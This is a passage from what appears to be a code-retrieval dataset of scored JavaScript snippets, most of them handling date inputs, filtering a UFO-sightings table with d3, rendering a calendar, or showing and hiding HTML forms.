AvailableTime_DayMMDDYYYY.Caption;\n \t aqUtils.Delay(2000);\n VerifyCheckProperty.compareStringObj(expectedDate,actualDate);\n selectNextButtonFromSubWindow(); \n aqUtils.Delay(2000); \n if(selectablebuttonClosebutton.Exists && selectablebuttonClosebutton.VisibleOnScreen){ \n Button.clickOnButton(selectablebuttonClosebutton);\n } \n }else{\n merlinLogError(\"Date selection window is not displayed.\");\n } \n AppLoginLogout.logout();\n } catch (e) {\n\t merlinLogError(\"Oops! There's some glitch in the script: \" + e.message);\t \n }\n finally { \n\t Log.PopLogFolder();\n } \n}", "title": "" }, { "docid": "e57041b4033606babf6a22b2be498e07", "score": "0.5641645", "text": "function runEnter() \n{\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n // Display & check input value variable\n console.log(inputValue);\n\n // Get the filtered data\n var filteredData = ufoData.filter(ufoData => ufoData.datetime == inputValue);\n\n // Clear the display for the next selection\n tbody.html(\"\");\n\n // Use the form input to filter the data by date\n // function dateTime(inputValue){\n // return inputValue.dateTime\n // }\n\n // Display & check the length to see if there is data\n console.log(filteredData.length)\n\nfilteredData.forEach((rowData) => {\n let row =tbody.append(\"tr\");\n Object.values(rowData).forEach((value) => {\n let cell = row.append(\"td\");\n cell.text(value);\n })\n})\n}", "title": "" }, { "docid": "96fec0eb11b9846b002d5fa253ca8dfe", "score": "0.5638895", "text": "function runEnter() {\n\n //Clear data\n tbody.html(\"\");\n \n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n //Print the inputValue\n console.log(inputValue);\n\n var filteredData = tableData.filter(row => row.datetime === inputValue);\n\n //Print the value to the console\n console.log(filteredData);\n\n // Loop Through `filteredData` \n filteredData.forEach(function(date) {\n console.log(date);\n \n // Use d3 to append one table row `tr` for each table object\n var row = tbody.append(\"tr\");\n \n // Use `Object.entries` to console.log each table value\n Object.entries(date).forEach(function([key, value]) {\n console.log(key, value);\n\n // Use d3 to append 1 cell per table value (datetime, city, state, country, shape, durationMinutes, comments)\n var cell = row.append(\"td\");\n \n // Use d3 to update each cell's text with table values (datetime, city, state, country, shape, durationMinutes, comments)\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "0b17ef974942f62a6d1520b33ffa4995", "score": "0.56286436", "text": "function dataFilterEventHandler() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n console.log(inputValue);\n\n // filter data based on datetime key\n var filteredData = tableData.filter(tableData => tableData.datetime === inputValue);\n console.log(filteredData);\n\n var Parent = document.getElementById('ufo-table-body');\n console.log(Parent);\n while (Parent.hasChildNodes()) {\n Parent.removeChild(Parent.firstChild);\n };\n filteredData.forEach(populateTable);\n}", "title": "" }, { "docid": "5c61c168aec7acb4c9594e86cb9cf67b", "score": "0.56225777", "text": "function showCalendar(month, year) {\n let firstDay = (new Date(year, month)).getDay();\n\n tbl = document.getElementById(\"calendar-body\");\n tbl.innerHTML = \"\";\n\n monthAndYear.innerHTML = months[month] + \" \" + year;\n selectYear.value = year;\n selectMonth.value = month;\n\n let date = 1;\n for (let i = 0; i < 6; i++) {\n let row = document.createElement(\"tr\");\n\n for (let j = 0; j < 7; j++) {\n if (i === 0 && j < firstDay) {\n cell = document.createElement(\"td\");\n cellText = document.createTextNode(\"\");\n cell.appendChild(cellText);\n row.appendChild(cell);\n } else if (date > daysInMonth(month, year)) {\n break;\n } else {\n cell = document.createElement(\"td\");\n cellText = document.createTextNode(date);\n cell.appendChild(cellText);\n row.appendChild(cell);\n\n if (dateIsAvailable(date, month, year)) {\n cell.onclick = function() { onCellClick(this) };\n cell.className = 'cell';\n } else {\n cell.className = 'cell-disabled';\n }\n date++;\n }\n }\n tbl.appendChild(row);\n }\n\n if (checkinDate != null && checkoutDate != null) {\n highlightStaySpan();\n }\n}", "title": "" }, { "docid": "29eef18757c29e36f8e7769edfaa12d1", "score": "0.5616619", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n //filter the data based on the value\n var filteredData = tableData.filter(sighting => sighting.datetime === inputValue);\n //IF NO VALUE\n if (filteredData.length === 0) {\n alert('Date entered: \"' + inputValue + '\" did not match any results.\\nTry a date from 1/1/2010 to 1/13/2010');\n }\n else {\n \n //clear the table\n d3.select('tbody').html('');\n\n // re-populate the tbody with the filteredData\n filteredData.forEach(function(sightings) {\n\n //at record level add new table row\n var row = tbody.append('tr');\n\n //within each dictionary forEach again to add each value to the row's cells\n Object.entries(sightings).forEach(function([key, value]) {\n var cell = row.append('td');\n cell.text(value);\n });\n });\n }\n console.log(inputValue);\n console.log(filteredData);\n}", "title": "" }, { "docid": "802ef4a9b13ced0f9187f14f056db812", "score": "0.5615071", "text": "function getDatafromSearch(){\n\n s_sdate = $(\"#search-auc-sdate\").val();\n s_edate = $(\"#search-auc-edate\").val();\n}", "title": "" }, { "docid": "61edf459caf6debef17483a451b0bd3c", "score": "0.56096613", "text": "function scrapOne(event) {\nvar scrap = document.getElementById(\"scrap-shift-one\").value;\nvar reasonScrapLoss = document.getElementById(\"reason-scrap-loss-one\").value;\n\n// tday = new Array(\"Sun\",\"Mon\",\"Tues\",\"Wed\",\"Thurs\",\"Fri\",\"Sat\");\n tmonth = new Array(\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\");\n\n \n var d = new Date();\n var nday = d.getDay(),nmonth = d.getMonth(),ndate=d.getDate(),nyear=d.getYear();\n if(nyear<1000) nyear += 1900;\n var nhour=d.getHours(),nmin = d.getMinutes(),nsec=d.getSeconds(),ap;\n\n if(nhour==0){ap =\" AM\";nhour=12;}\n else if(nhour<12){ap=\" AM\";}\n else if(nhour==12){ap=\" PM\";}\n else if(nhour>12){ap=\" PM\";nhour-=12;}\n\n if(nmin<=9) nmin=\"0\"+nmin;\n if(nsec<=9) nsec=\"0\"+nsec;\n\nvar date = \"\"+tmonth[nmonth]+\" \"+ndate+\", \"+nyear+\" \"+nhour+\":\"+nmin+\":\"+nsec+ap+\"\";\nvar dateAndTime = document.getElementById('date-time')\nvar title = document.createElement('title')\ntitle.appendChild(document.createTextNode(date))\n\n\n\n// Create a new table row on the fly\nvar newRow = document.createElement(\"tr\");\n\nnewRow.setAttribute('title', date)\n\n\n\n\n\n\nvar fields = [\n scrap + \" lbs\", \n reasonScrapLoss\n\n]; \n\n\n\nfor (var i = 0; i < fields.length; i++) {\n newRow.innerHTML += \"<td>\" + fields[i] + \"</td>\";\n \n} \n\nvar fieldIds = [\n \"scrap-shift-one\",\n \"reason-scrap-loss-one\"\n];\n // Clear up the form fields\nfor (var i = 0; i < fieldIds.length; i++) {\n document.getElementById(fieldIds[i]).value = '';\n}\n\n// Finally add the new record (new row) to the end of the table\n document.getElementById(\"list-first-shift-one\").appendChild(newRow);\n\n\n}", "title": "" }, { "docid": "d08802b73fdbeb2eb2ecf3c5611b8d98", "score": "0.55924904", "text": "function runEnter() {\n d3.event.preventDefault();\n var dateInput = d3.select(\"#datetime\");\n var dateValue = dateInput.property(\"value\");\n console.log(dateValue);\n\n var filteredData = tableData.filter(date => date.datetime === dateValue);\n console.log(filteredData)\n\n // Read data to table\n filteredData.forEach((sightingReport) => {\n var row = tbody.append(\"tr\");\n Object.entries(sightingReport).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n\n}", "title": "" }, { "docid": "012210cf314ae0b9862dc2cb59b74682", "score": "0.55889934", "text": "checkTheDate(event) {\n // We have to have a non standard validation here because we do not want to display the toast multiple times.\n var input = this.template.querySelector(\".date\");\n if (input.value != null) {\n this.selectedStartDate = input.value;\n // Check to see if a past date toast need to be displayed. Run only once.\n this.checkIfDateIsPast(input.value);\n this.checkTheForm();\n }\n else {\n this.selectedStartDate = '';\n this.disableContinueBtn = true;\n }\n }", "title": "" }, { "docid": "7bdb0e333c262a956038c05842b2b490", "score": "0.558851", "text": "function runEnter() {\n // Prevent the page from refreshing: \n d3.event.preventDefault();\n //// Clear table rows:\n //tbody.html(\"\")\n // Select the input element and get the raw HTML code:\n var inputElement = d3.select(\".form-control\");\n // Get the value property of the input element:\n var inputValue = inputElement.property(\"value\");\n console.log(inputValue);\n // Filter by date input value:\n var filteredData = tableData.filter(sighting => sighting.datetime === inputValue);\n console.log(filteredData);\n // Clear table rows:\n tbody.html(\"\")\n //Append to table:\n filteredData.forEach((ufo_sighting) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufo_sighting).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "50cfc1417fef49e501f96a02983d43f4", "score": "0.55755943", "text": "function search(){\n\n window.location = '/entries?start_date=' + $(\"#start_date\").val() + \n '&end_date=' + $(\"#end_date\").val() + \"&client_id=\" + \n $(\"#client_id\").val() + \"&confirmed=\" + $(\"#confirmed\").val() +\n \"&aircraft_type_id=\" + $(\"#aircraft_type_id\").val();\n}", "title": "" }, { "docid": "0bf3919114868504014b0db637720aea", "score": "0.5572551", "text": "function selectdatetime(datetm) {\n //console.log(input.node().value);\n return datetm.datetime == input.node().value;\n}", "title": "" }, { "docid": "de972ed470307105bb73682a42e3172b", "score": "0.5569704", "text": "function getDate() {\n taskDate = dateInput.value;\n}", "title": "" }, { "docid": "2fc1b3891b0852624c4140b5f48e7068", "score": "0.55643815", "text": "function handleClick() {\n\n // add variables for dates\n // select the element with ID datetime and get the value from that element\n let date = d3.select(\"#datetime\").property(\"value\");\n\n // set default filter for the updated table data based on the filter. We are starting with the original const table data that we set in the first line of the code. \n let filteredData = tableData;\n\n // check if date has been set if not return all data\n if (date) { \n \n // look at each datetime row in the data and if the date value matches keep that data \n //'===' is strict equality which means the types have to match vs '==' which is loose equality so types do not have to match. \n filteredData = filteredData.filter(row => row.datetime === date);\n };\n\n // create table from the filtered data\n // call buildTable() @NOTE: if no data entered, filteredData will be original table data\n buildTable(filteredData);\n}", "title": "" }, { "docid": "5e38844e08700dfe0fc978d7f85afdf3", "score": "0.55597866", "text": "function runFilter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"input\");\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n console.log(inputValue);\n console.log(data);\n\n var filteredData = data.filter(data => data.datetime == inputValue);\n\n console.log(filteredData);\n\n// filteredData.forEach(dataFilter => {\n// Object.entries(dataFilter).foreach(([key,value]) => {\n// tbody.append(\"tr\").append(\"td\").text(value)\n// })\ncreateTable(filteredData)\n}", "title": "" } ]
4c19c59bb038d15638d0ef35b03cf5e8
show the form fields
[ { "docid": "87e8fa1178a4005869a3236117079db9", "score": "0.5822752", "text": "function showForm (request, response) {\n response.render('pages/searches/new')\n}", "title": "" } ]
[ { "docid": "e26e67789f1dcd340115d4c7d6a5c9af", "score": "0.7107084", "text": "function showAdditionalFields() {\n\t$('#inputConfirmPasswordField').slideDown();\n\t$('#inputEmailField').slideDown();\n\t$('#inputCreditCardField').slideDown();\n\t$('#inputKennelNameField').slideDown();\n\t$('#inputAddressField').slideDown();\n\t$('#inputBreedsField').slideDown();\n}", "title": "" }, { "docid": "26be65ff05253f3edf48224135184b7f", "score": "0.6855182", "text": "function dispalyEditFormFields(formId) {\n $('#'+formId +' .input').show();\n $('#'+formId +' .show').hide();\n $('#'+formId +' .update').show(); // show update button \n $('#'+formId +' .remove').show(); // show remove button \n $('#'+formId +' .edit').hide(); // hide edit button\n}", "title": "" }, { "docid": "827a765cdf7a74bf9b746193f8a35633", "score": "0.6823924", "text": "function showForm(fn, ln, course, yr, email, address) {\n $(\"#fname\").val(fn);\n $(\"#lname\").val(ln);\n $(\"#course\").val(course);\n $(\"#yrLvl\").val(yr);\n $(\"#address\").val(address);\n $(\"#email\").val(email);\n $(\".class-list\").hide(500);\n $(\".createForm\").show(500);\n }", "title": "" }, { "docid": "52de4f424903cdfca80970bd25d36f6c", "score": "0.6794054", "text": "function showForm() {\n\t\tdom.form.removeClass('fade-out').addClass('fade-in');\n\t\t/* TODO: make first input active */\n\t\tFT.stopAutoFetch();\n\t}", "title": "" }, { "docid": "c5ed99d02b4255ccfef0d2b240a61f17", "score": "0.67300564", "text": "function displayForm() {\n\t\tlet languageActive = false\n\t\tenableSave()\n\t\tclearResult()\n\t\tformCreateQuote.classList.remove(`hide`)\n\t\tformCreateQuote.classList.add(`form-CreateQuote`)\n\t\tresult.classList.add(`hide`)\n\t\tresult.classList.remove(`result`)\n\t\tenableDisableLanguage(languageActive)\n\t}", "title": "" }, { "docid": "df5e40da1765b2471bb66789aaa10925", "score": "0.6647634", "text": "show_read_form(){\n this.txt_empid = this.div_form.add_text_entry(\"Employee ID\",false);\n this.div_form.add_button(\"Fetch details\", this.get_emp_details.bind(this),true);\n this.txt_frst_nm = this.div_form.add_text_entry(\"First Name\",true);\n this.txt_lst_nm = this.div_form.add_text_entry(\"Last Name\",true);\n this.txt_phone = this.div_form.add_text_entry(\"Phone\",true);\n }", "title": "" }, { "docid": "ab3a9abc3a501ea63e12373c59703b9b", "score": "0.6532832", "text": "function showForm(){\n\t\n\t\tmyForm.style.display = \"block\";\n\t\tgetFunds.style.display = \"none\";\n\t\tcontReimbursements.style.display = \"none\";\n\t\tmsgCont.style.display = \"none\";\n\t\tviewBenCoMSG.style.display = \"none\";\n\t\tcontEvents .style.display = \"none\";\n}", "title": "" }, { "docid": "c3a572144bd057cab020722407a3371e", "score": "0.6481965", "text": "function showForms() {\n const formsList = document.getElementById('forms');\n formsList.innerHTML = \"\"\n for (let i = 0; i < allForms.length; ++i) {\n const keys = Object.keys(allForms[i])\n const table = document.createElement('table');\n keys.forEach(field => {\n var row = document.createElement('tr');\n var col1 = document.createElement('td');\n var col2 = document.createElement('td');\n col1.innerText = `${field}:`;\n col1.style.fontWeight = 'bold';\n col2.innerText = allForms[i][field]\n col2.style.whiteSpace = 'nowrap';\n row.appendChild(col1);\n row.appendChild(col2);\n table.appendChild(row);\n })\n formsList.appendChild(table)\n }\n }", "title": "" }, { "docid": "927fdb9ef9bac1280ec5a90e63513bd4", "score": "0.64413345", "text": "function showExtraFields( id ) {\n\t// Find the current selected fieldtype\n\tvar fieldType = $( '#templateField_' + id + '_form select[name=type]' ).val();\n\n\t// Hide all extra forms, and show the right one\n\t$( '#templateField_' + id + '_form .extra' ).hide();\n\t$( '#templateField_' + id + '_form .' + fieldType.toLowerCase() + '_options' ).show();\n}", "title": "" }, { "docid": "27f5dba97679c6d54855f9f2add34766", "score": "0.6440809", "text": "function show() {\n $('.form-group').show();\n $('#time').show();\n $('#done').show();\n }", "title": "" }, { "docid": "1528717c454fb0a19072d96b109066dc", "score": "0.6406668", "text": "function register_form_show() {\n $register_form\n .show()\n .siblings()\n .hide();\n }", "title": "" }, { "docid": "e5146b08781779b8275aa37a9ee3e0bf", "score": "0.6393448", "text": "show_update_form(){\n this.txt_empid = this.div_form.add_text_entry(\"Employee ID\",false);\n this.div_form.add_button(\"Fetch details\", this.get_emp_details.bind(this),true);\n this.txt_frst_nm = this.div_form.add_text_entry(\"First Name\",true);\n this.txt_lst_nm = this.div_form.add_text_entry(\"Last Name\",true);\n this.txt_phone = this.div_form.add_text_entry(\"Phone\",true);\n this.div_form.add_button(\"Update\",this.process_update_form.bind(this));\n }", "title": "" }, { "docid": "a8773a44c0be7ce24b2f654c894eacf9", "score": "0.633282", "text": "show_insert_form(){\n this.txt_empid = this.div_form.add_text_entry(\"Employee ID\",true);\n this.txt_frst_nm = this.div_form.add_text_entry(\"First Name\",true);\n this.txt_lst_nm = this.div_form.add_text_entry(\"Last Name\",true);\n this.txt_phone = this.div_form.add_text_entry(\"Phone\",true);\n this.div_form.add_button(\"Insert\",this.process_insert_form.bind(this));\n }", "title": "" }, { "docid": "25eafb90cb015448d29d1ba2af256c60", "score": "0.63130444", "text": "function renderForm() {\r\n loadForm();\r\n clearForm();\r\n showForm();\r\n}", "title": "" }, { "docid": "cbae5c27536933d7f286d3b2aa1ee957", "score": "0.62840194", "text": "function showFormAdd(){\n\tcleanFields();\n\thideAlert();\n\t$('#btnSaveEvent').hide();\n\t$('#btnRegisterEvent').show();\n\t$('#btnGaleria').hide();\n\t$('#ViewTablaEvent').hide();\n\t$('#ViewFormEvent').show();\n}", "title": "" }, { "docid": "081097d11b140cc745e03110e74d5de7", "score": "0.6270742", "text": "function showFields() {\n\tquesFrame.className = 'shown';\n\tanswerFrame.className = 'shown';\n}", "title": "" }, { "docid": "2ea7d50ad1e57c5daaa7238b553db641", "score": "0.6248084", "text": "function displayFields(shape) {\n\tlist = document.querySelectorAll(\".field\");\n\tfor (var i = 0; i < list.length; i++) {\n\t\tif (list[i].className.indexOf(shape) !== -1)\n\t\t\tlist[i].style.display = 'block';\n\t\telse \n\t\t\tlist[i].style.display = 'none';\n\t}\n}", "title": "" }, { "docid": "006404b19214bbc263ba1b295b7dc05e", "score": "0.62031907", "text": "function showInstructions(){\n $('#form').hide();\n $('#instructions').css('display','block');\n }", "title": "" }, { "docid": "10398900db1c4f43d7c85375f625e714", "score": "0.6199022", "text": "function showForm() {\n document.getElementById('form').style.display = \"block\";\n document.getElementById('info').style.display = \"none\";\n }", "title": "" }, { "docid": "b1b8448deacd8c177d9e3e5537d95f3e", "score": "0.6137727", "text": "function showAddForm() {\n\t\tresetGroupForms();\n\t\tif ($('#group-add form').css('display') == 'none') {\n\t\t\t$('#group-add form').slideDown();\n\t\t}\n\t}", "title": "" }, { "docid": "a0822c0f7b8ffd9720ea362ae6ede82f", "score": "0.6136846", "text": "function showAddsymptomForm() {\n //Resetting the fields\t\t\t\t\n frmsymptomAdd.widgetsymptomtypeidValue.text = \"\";\n frmsymptomAdd.widgetbothernessValue.text = \"\";\n frmsymptomAdd.widgetimpactValue.text = \"\";\n clearCalenderWidget(frmsymptomAdd.widgetdateValue);\n frmsymptomAdd.widgetnotesValue.text = \"\";\n frmsymptomAdd.widgetuseridValue.text = \"\";\n frmsymptomAdd.show();\n}", "title": "" }, { "docid": "649f9889b449dd68feaea27a2f72d55e", "score": "0.6136025", "text": "function mostrarFormulario(){\n\t$form.slideToggle()\n}", "title": "" }, { "docid": "52565755898bfceab04f0c402fd5a6fe", "score": "0.6133911", "text": "function showChoiceFields(){\n $('#choice').show();\n displayChoice();\n $('input[id=\"choiceShortAns\"]').val(\"\")\n $('#short').hide();\n}", "title": "" }, { "docid": "d6d5c110b3af16288bf0d6bec26f392f", "score": "0.61301506", "text": "function showFormAddUser(){\n\t$('#divTableUser').hide();\n\t$('#divFormUser').show();\n\t$('.formTable').hide();\n\t$('.formCancel').show();\n\t$('.formAddUser').show();\n\t$('.formEditUser').hide();\n}", "title": "" }, { "docid": "2f29189a83cb51cefc1cf630ee1957c4", "score": "0.6128798", "text": "function mostrarform()\n{\n\t$(\"#formulariofiltros\").show();\n\n}", "title": "" }, { "docid": "b96a99fa9fcb24b85196d8aa91bcfbc8", "score": "0.61252123", "text": "function showInfo() {\n $('#user-name').text(curUser._id);\n $('#first-name').text(curUser.first_name);\n $('#last-name').text(curUser.last_name);\n $('#email').text(curUser.email);\n $('#phone').text(curUser.phone_number);\n }", "title": "" }, { "docid": "9e02874f17df88f7934d95ce7fb0d40f", "score": "0.61123115", "text": "function setupForm() {\n // TODO\n }", "title": "" }, { "docid": "565cde6798a1566bf200883e73b2c375", "score": "0.6096871", "text": "function displayForm() {\n $(\"#form\").show();\n $(\"#tbl\").hide();\n $(\"#Search\").hide();\n $(\"#btn2\").show();\n $(\"#ingredientData\").hide();\n $(\"#Add\").hide();\n\n}", "title": "" }, { "docid": "d41ebfd002916210597e4702d481efc3", "score": "0.60877186", "text": "function showSetupForm() {\r\n\t\tshowSettings();\r\n\t\t\t$(\"#bendform\").hide();\r\n\t\t\t$(\"#helpform1\").hide();\r\n\t\t\t$(\"#helpform2\").hide();\r\n\t\t\t$(\"#setupform\").show();\r\n\t}", "title": "" }, { "docid": "76bcf376c7b4530ff329298e17470590", "score": "0.6078853", "text": "function print(){\n\tdocument.write(document.forms['nforma']['firstname'].value+' '+document.forms['nforma']['lastname'].value);\n\t}", "title": "" }, { "docid": "0f43f5e0865e807623640444f926eb8e", "score": "0.60684687", "text": "function viewEntryForm() {\n const formEntry = $('div.formEntry')\n const display = formEntry.style.display\n\n formEntry.style.display = display === 'block' ? 'none' : 'block'\n\n const buttonEntryText = $('.left .header button').firstChild\n buttonEntryText.data = buttonEntryText.data.trim() === 'Fechar Lançamento' ? 'Novo Lançamento' : 'Fechar Lançamento'\n\n $('#inputValor').focus()\n}", "title": "" }, { "docid": "0b38f6ff9244252dea58213e96e450e2", "score": "0.6055276", "text": "function setupFormDisplay(){\n var $this = $(this);\n var $paragraph = $this.parent().siblings(\"form\").find(\".input-switch p\");\n \n $paragraph.css(\"display\", \"block\");\n}", "title": "" }, { "docid": "c46d73059c5b77ff217ade3ce48fc68c", "score": "0.6043409", "text": "function div_show(){\n\t\tdocument.getElementById('mform').style.display = \"block\";\n\t}", "title": "" }, { "docid": "f5a31fff0cf96e7a4da3e02fcbaadb7b", "score": "0.6041969", "text": "function renderFields () {\n\t\tfor ( var key in Defaults.fields ) {\n\t\t\tvar data = Defaults.fields[key];\n\t\t\t$fieldSource.append(Fields.renderData(data));\n\t\t}\n\t}", "title": "" }, { "docid": "d8bea2532ec55f1dc8a26f5ef36888b9", "score": "0.60331833", "text": "function prepareShow(currentId, currentFName, currentLName, currentEmail) {\n $(\"#dodo-modal-title\").text('User Detail');\n\n $(\".dodo-form-item-tip\").css({\"display\": \"none\"});\n $(\".dodo-form-item\").css({\"border-color\": \"#66afe9\"});\n\n $(\"#form-id-block\").show();\n $(\"#form-password-block\").hide();\n $(\"#form-rpassword-block\").hide();\n $(\"#dodo-form-savebtn\").hide();\n\n $(\"#form-userId\").attr('disabled', true).val(currentId);\n $(\"#form-email\").attr('disabled', true).val(currentEmail);\n $(\"#form-firstName\").attr('disabled', true).val(currentFName);\n $(\"#form-lastName\").attr('disabled', true).val(currentLName);\n\n formType = 2;\n}", "title": "" }, { "docid": "e65a05e1fa6d2eb6b9e0bea749afa1f6", "score": "0.6032513", "text": "function showMainForm() {\r\n\t\t\t$(\"#setupform\").hide();\r\n\t\t\t$(\"#helpform1\").hide();\r\n\t\t\t$(\"#helpform2\").hide();\r\n\t\t\t$(\"#bendform\").show();\r\n\t}", "title": "" }, { "docid": "f502749062a543759628be0fa76d08e1", "score": "0.6030603", "text": "function displayForm(e) {\n e.preventDefault();\n $(this).blur();\n resetFormErrors();\n generateAndDisplayForm($(this).attr('id'));\n}", "title": "" }, { "docid": "9297269e9584a1911a25e7aff57355e2", "score": "0.6026881", "text": "function ilShowInputs(t)\r\n{\r\n\tvar inputs = YAHOO.util.Dom.getElementsBy(ilFormCheckInput, \"input\", t, null, null, null);\r\n\tfor (var i in inputs)\r\n\t{\r\n\t\tinputs[i].style.visibility = 'visible';\r\n\t}\r\n}", "title": "" }, { "docid": "42f6d9b348127c9c0a84113a08738b3c", "score": "0.6024874", "text": "function readForm3(){\n document.getElementById(\"username-showing-3\").innerHTML= \"Nombre de usuario : \"+Form3Values[0] ;\n\n document.getElementById(\"email-showing-3\").innerHTML= \"Email : \"+Form3Values[1];\n}", "title": "" }, { "docid": "edf5a1148045471a9d6761c4d644b2b6", "score": "0.602151", "text": "function showField(id) {\n const fieldWrapper = $(\"#\" + id);\n const field = $(\"#pattern_\" + id);\n\n fieldWrapper.fadeIn(1000);\n field.attr(\"required\", true);\n}", "title": "" }, { "docid": "b2613181d5c251df2042804e36498d04", "score": "0.6005474", "text": "function getFormtoDisplay() {\n\t// if the current url has the following query, means it came from \"ingresar\" option\n\tif (url === \"?mode=register\") {\n\t\t// so, hide the signup form\n\t\tinputs[0].style.display = \"none\";\n\t\tchangeContent(\"register\");\n\t} else {\n\t\t// let it be login by default\n\t\tinputs[1].style.display = \"none\";\n\t\tchangeContent(\"login\");\n\t}\n}", "title": "" }, { "docid": "9c29cc55683100060baad2376d53d18a", "score": "0.6004428", "text": "function showTicketNumberFields(numberOfFields) {\n\t$('#ticket-number-container').empty();\n\tif(numberOfFields > 0) {\n\t\t$('#ticket-number-container').append('<label class=\"modal-label\"><b>Ticket number/s</b></label>');\n\t}\n\tfor(i = 0; i < numberOfFields; i++) {\n\t\t$('#ticket-number-container').append('<input type=\"text\" class=\"ticketNumber\" placeholder=\"Enter Ticket Number\">')\n\t}\n}", "title": "" }, { "docid": "27cabe79cff47dd3397454f6452d1ff1", "score": "0.6004184", "text": "function showFields(el){\n var fieldNameYes = el.name + \"_div_yes\";\n var fieldNameNo = el.name + \"_div_no\";\n\n if($('.' + fieldNameYes).hasClass('answer_yes')) {\n if (el.value === \"Yes\") {\n $('.' + fieldNameYes).removeClass('hidden-field').css({opacity: 0}).animate({opacity:1},600);\n } else {\n $('.' + fieldNameYes).addClass('hidden-field');\n }\n }\n\n if($('.' + fieldNameNo).hasClass('answer_no')) {\n if (el.value === \"No\") {\n $('.' + fieldNameNo).removeClass('hidden-field').css({opacity: 0}).animate({opacity:1},600);\n } else {\n $('.' + fieldNameNo).addClass('hidden-field');\n }\n }\n}", "title": "" }, { "docid": "5c4eb721d89245973bc32a2e7471f718", "score": "0.5987332", "text": "function enterForm() {\n qs('div').classList.add('hidden');\n id('name').classList.remove('hidden');\n }", "title": "" }, { "docid": "21c120a7833f1fa5e054542b4687b47d", "score": "0.59660727", "text": "verFormularioAlta(){\n\t\tthis.mostrar('formularioAlta')\n\t}", "title": "" }, { "docid": "8225db203db9cb61f2a07bd2b5f4e686", "score": "0.5963891", "text": "function showAgentEditFormHelp(options) {\n var tripToShowNavigation = new Trip([], options);\n if (!$scope.missingField()) {\n Helps.addFieldHelp(tripToShowNavigation, '#create-btn',\n 'Haga clic en EDITAR para editar la solicitud', 'n');\n tripToShowNavigation.start();\n } else {\n showAllAgentEditFieldsHelp(tripToShowNavigation);\n }\n }", "title": "" }, { "docid": "76ae19bdbc0c752a162a5a701d1b562e", "score": "0.5962103", "text": "function showRegisterForm() {\n // reset the input field\n registerFieldElement.value = '';\n updateErrorMessage('');\n updateInfo('');\n document.getElementById('show-form-container').removeAttribute('hidden');\n document.getElementById('student-course-registration-button').innerText = 'Register';\n }", "title": "" }, { "docid": "13c3818abc5ffc515e5ff6730aca36e5", "score": "0.5958328", "text": "function addForms() {\n\t\tc.data.options.forEach(function(opt) {\n\t\t\tif (opt.g_form)\n\t\t\t\treturn; \n\n\t\t\topt.g_form = glideFormFactory.create($scope, 'sys_meta', '-2', opt.fields, null, null);\n\t\t\tchoiceToClient(opt);\n\t\t\tif (opt.field)\n\t\t\t\treturn; \n\n\t\t\tvar r = opt.field = {};\n\t\t\tr.name = \"_blank\";\n\t\t\tr.label = \"_blank\";\n\t\t\tr.value = \"\";\n\t\t\tr.ed = {}\n\t\t\tr.type = opt.type;\n\t\t\tr.value = opt.value;\n\t\t\tr.displayValue = opt.displayValue;\n\t\t\t//r.hint = opt.hint;\n\t\t})\t\t\n\t}", "title": "" }, { "docid": "614bea8d73fbc64f9a0d4bd01e7e937a", "score": "0.5952187", "text": "function showInfo() {\n document.getElementById('form').style.display = \"none\";\n document.getElementById('info').style.display = \"block\";\n }", "title": "" }, { "docid": "6a3d4daa2fdc0ecb40a5734de7519e47", "score": "0.59455335", "text": "function showForm(){\n let _this = $(this);\n $(\".add-task-form\").insertAfter(_this);\n $(\".add-task-form\").show();\n if(leftIndexItemClicked!=\"inboxView\")\n showDefaultDate(_this);\n}", "title": "" }, { "docid": "1a7c2cdb04b2d5fcd935354203be578e", "score": "0.59374434", "text": "function getFields() {\n return [{\n type: 'input',\n key: 'identifier',\n templateOptions: {\n placeholder: 'Email or username',\n label: '',\n focus: true,\n minlength: 3,\n addonLeft: {\n class: 'fa fa-user'\n }\n }\n }, {\n type: 'input',\n key: 'password',\n templateOptions: {\n type: 'password',\n placeholder: 'Password',\n label: '',\n minlength: 6,\n addonLeft: {\n class: 'fa fa-lock'\n }\n }\n }];\n }", "title": "" }, { "docid": "f76ed07bf557eee3c6c01c3eed8f8205", "score": "0.59268093", "text": "function showApplicantEditFormHelp(options) {\n var tripToShowNavigation = new Trip([], options);\n if (!$scope.missingField()) {\n Helps.addFieldHelp(tripToShowNavigation, '#create-btn',\n 'Haga clic en EDITAR para editar la solicitud', 'n');\n tripToShowNavigation.start();\n } else {\n showAllFieldsHelp(tripToShowNavigation);\n }\n }", "title": "" }, { "docid": "4527a518beff182a1ced8c0acb880e2f", "score": "0.5926033", "text": "function showPostForm() {\n\n\t$(\"#postTitle\").show();\n\t$(\"#textBox\").show();\n\t$(\"#submitButton\").show();\n\t$(\"#hidePosts\").show();\n\n}", "title": "" }, { "docid": "c812aa5ec198ec97947b642a1835690e", "score": "0.592497", "text": "function formelement(){\r\n name = document.getElementById(\"name\").value;\r\n age = document.getElementById(\"age\").value;\r\n Class = document.getElementById(\"Class\").value;\r\n document.write(\"<br> Details of Submitted form <br> Name: \"+name+\"<br> Age: \"+age+\"<br> Class : \"+Class)\r\n}", "title": "" }, { "docid": "4d81f7d72e60fe5e7e1eb75a6734b17f", "score": "0.59217834", "text": "function showMealInputsForEdit(id) {\r\n showBreakfastInputsForEdit(id);\r\n 